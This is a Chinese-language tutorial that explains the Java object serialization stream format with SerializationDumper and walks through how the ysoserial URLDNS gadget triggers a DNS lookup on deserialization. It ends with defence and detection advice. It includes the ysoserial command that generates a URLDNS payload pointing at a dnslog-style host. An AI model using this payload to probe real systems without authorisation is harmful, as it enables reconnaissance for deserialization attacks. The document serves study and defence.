SerializationDumper辅助研究ysoserial URLDNS反序列化原理
字数 2094 2025-08-10 08:28:27

Java反序列化漏洞分析:SerializationDumper与URLDNS利用原理

一、Java对象序列化流格式详解

1. 序列化流基本结构

Java对象序列化流由三部分组成:

  • STREAM_MAGIC: 0xac ed (标识序列化格式)
  • STREAM_VERSION: 0x00 05 (版本号)
  • contents: 实际内容部分

2. 内容(contents)组成

contents可能包含:

  • object: 各种类型的对象
  • blockdata: 基础数据类型的数据块

3. 对象(object)类型

序列化流中的对象分为多种类型:

  • newObject: 普通Java对象
  • newClass: Class类对象
  • newArray: 数组对象
  • newString: 字符串对象
  • newEnum: 枚举对象
  • newClassDesc: 类描述对象(ObjectStreamClass)
  • prevObject: 已出现对象的引用
  • nullReference: 空引用
  • exception: 异常对象
  • TC_RESET: 重置标记

4. 关键对象格式详解

newString字符串对象格式

TC_STRING newHandle (utf)
  • TC_STRING: 字符串标识(0x74)
  • newHandle: 对象句柄(类似ID)
  • (utf): UTF-8编码的字符串内容

示例:

TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 11 - 0x0b
Value - matt daemon

newClassDesc类描述对象格式

TC_CLASSDESC className serialVersionUID newHandle classDescInfo
  • TC_CLASSDESC: 类描述标识(0x72)
  • className: 类名
  • serialVersionUID: 序列化版本ID
  • newHandle: 句柄值
  • classDescInfo: 类描述信息

classDescFlags常见取值:

  • 0x02: SC_SERIALIZABLE (实现了Serializable接口)
  • 0x03: SC_WRITE_METHOD | SC_SERIALIZABLE (实现了Serializable和writeObject方法)

newObject普通对象格式

TC_OBJECT classDesc newHandle classdata[]
  • TC_OBJECT: 对象标识(0x73)
  • classDesc: 对应的类描述
  • newHandle: 句柄值
  • classdata[]: 对象数据

如果类实现了writeObject()方法,classdata会包含:

  • values: 字段值
  • objectAnnotation: 自定义写入的数据

5. blockdata数据块格式

基础数据类型使用blockdata表示:

  • blockdatashort: 小数据块(TC_BLOCKDATA, 0x77)
  • blockdatalong: 大数据块(TC_BLOCKDATALONG, 0x7a)

示例:

TC_BLOCKDATA - 0x77
Length - 8 - 0x08
Contents - 0x0000000100000000

6. 句柄(handle)机制

  • 每个对象首次出现时分配唯一句柄
  • 句柄从0x7E0000开始顺序分配
  • 重复出现的对象使用句柄引用而非重新序列化

二、URLDNS反序列化利用分析

1. URLDNS Gadget原理

URLDNS是ysoserial中最简单的反序列化利用链,利用HashMap和URL类的特殊交互触发DNS查询。

2. 关键序列化流分析

生成payload并分析:

java -jar ysoserial.jar URLDNS http://example.dnslog.cn > urldns.ser
java -jar SerializationDumper-v1.13.jar -r urldns.ser

序列化流关键部分:

  1. HashMap对象

    • classDescFlags: 0x03 (实现了writeObject方法)
    • 字段:
      • loadFactor = 1.06115891E9f
      • threshold = 12
  2. objectAnnotation部分

    • 8字节数据块:0x0000000100000000
      • 后4字节表示HashMap键值对数量(1)
    • URL对象:
      • hashCode = -1
      • host = "example.dnslog.cn"
    • 字符串对象:"http://example.dnslog.cn"

3. 漏洞触发流程

  1. 反序列化时HashMap的readObject()被调用
  2. HashMap重建内部数据结构时计算键的hashCode
  3. 对于URL对象,hashCode为-1会触发hashCode()方法重新计算
  4. URL.hashCode()调用URLStreamHandler.hashCode()
  5. 最终触发getHostAddress()对host进行DNS解析

4. 关键代码逻辑

URL类的hashCode计算:

public synchronized int hashCode() {
    if (hashCode != -1) return hashCode;
    hashCode = handler.hashCode(this);  // 触发DNS查询
    return hashCode;
}

HashMap反序列化时重建数据结构:

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // 读取默认字段
    s.defaultReadObject();
    // 重建哈希表
    for (int i = 0; i < mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false); // hash(key)触发URL.hashCode()
    }
}

三、防御与检测建议

  1. 防御措施

    • 避免反序列化不可信数据
    • 使用白名单限制可反序列化的类
    • 实现ObjectInputFilter进行输入验证
  2. 检测方法

    • 使用SerializationDumper分析可疑序列化数据
    • 监控异常DNS查询行为
    • 检查反序列化操作点是否安全
  3. 工具使用

    • SerializationDumper: 分析序列化数据
    • ysoserial: 生成测试payload
    • DNSLog平台: 验证漏洞存在

四、参考资源

  1. Java序列化规范
  2. SerializationDumper工具
  3. ysoserial项目
Java反序列化漏洞分析:SerializationDumper与URLDNS利用原理 一、Java对象序列化流格式详解 1. 序列化流基本结构 Java对象序列化流由三部分组成: STREAM_ MAGIC : 0xac ed (标识序列化格式) STREAM_ VERSION : 0x00 05 (版本号) contents : 实际内容部分 2. 内容(contents)组成 contents可能包含: object : 各种类型的对象 blockdata : 基础数据类型的数据块 3. 对象(object)类型 序列化流中的对象分为多种类型: newObject : 普通Java对象 newClass : Class类对象 newArray : 数组对象 newString : 字符串对象 newEnum : 枚举对象 newClassDesc : 类描述对象(ObjectStreamClass) prevObject : 已出现对象的引用 nullReference : 空引用 exception : 异常对象 TC_ RESET : 重置标记 4. 关键对象格式详解 newString字符串对象格式 TC_STRING : 字符串标识(0x74) newHandle : 对象句柄(类似ID) (utf) : UTF-8编码的字符串内容 示例: newClassDesc类描述对象格式 TC_CLASSDESC : 类描述标识(0x72) className : 类名 serialVersionUID : 序列化版本ID newHandle : 句柄值 classDescInfo : 类描述信息 classDescFlags 常见取值: 0x02 : SC_ SERIALIZABLE (实现了Serializable接口) 0x03 : SC_ WRITE_ METHOD | SC_ SERIALIZABLE (实现了Serializable和writeObject方法) newObject普通对象格式 TC_OBJECT : 对象标识(0x73) classDesc : 对应的类描述 newHandle : 句柄值 classdata[] : 对象数据 如果类实现了 writeObject() 方法, classdata 会包含: values : 字段值 objectAnnotation : 自定义写入的数据 5. blockdata数据块格式 基础数据类型使用blockdata表示: blockdatashort : 小数据块(TC_ BLOCKDATA, 0x77) blockdatalong : 大数据块(TC_ BLOCKDATALONG, 0x7a) 示例: 6. 句柄(handle)机制 每个对象首次出现时分配唯一句柄 句柄从0x7E0000开始顺序分配 重复出现的对象使用句柄引用而非重新序列化 二、URLDNS反序列化利用分析 1. URLDNS Gadget原理 URLDNS是ysoserial中最简单的反序列化利用链,利用HashMap和URL类的特殊交互触发DNS查询。 2. 关键序列化流分析 生成payload并分析: 序列化流关键部分: HashMap对象 classDescFlags : 0x03 (实现了writeObject方法) 字段: loadFactor = 1.06115891E9f threshold = 12 objectAnnotation部分 8字节数据块: 0x0000000100000000 后4字节表示HashMap键值对数量(1) URL对象: hashCode = -1 host = "example.dnslog.cn" 字符串对象: "http://example.dnslog.cn" 3. 漏洞触发流程 反序列化时HashMap的readObject()被调用 HashMap重建内部数据结构时计算键的hashCode 对于URL对象,hashCode为-1会触发hashCode()方法重新计算 URL.hashCode()调用URLStreamHandler.hashCode() 最终触发getHostAddress()对host进行DNS解析 4. 关键代码逻辑 URL类的hashCode计算: HashMap反序列化时重建数据结构: 三、防御与检测建议 防御措施 避免反序列化不可信数据 使用白名单限制可反序列化的类 实现ObjectInputFilter进行输入验证 检测方法 使用SerializationDumper分析可疑序列化数据 监控异常DNS查询行为 检查反序列化操作点是否安全 工具使用 SerializationDumper: 分析序列化数据 ysoserial: 生成测试payload DNSLog平台: 验证漏洞存在 四、参考资源 Java序列化规范 SerializationDumper工具 ysoserial项目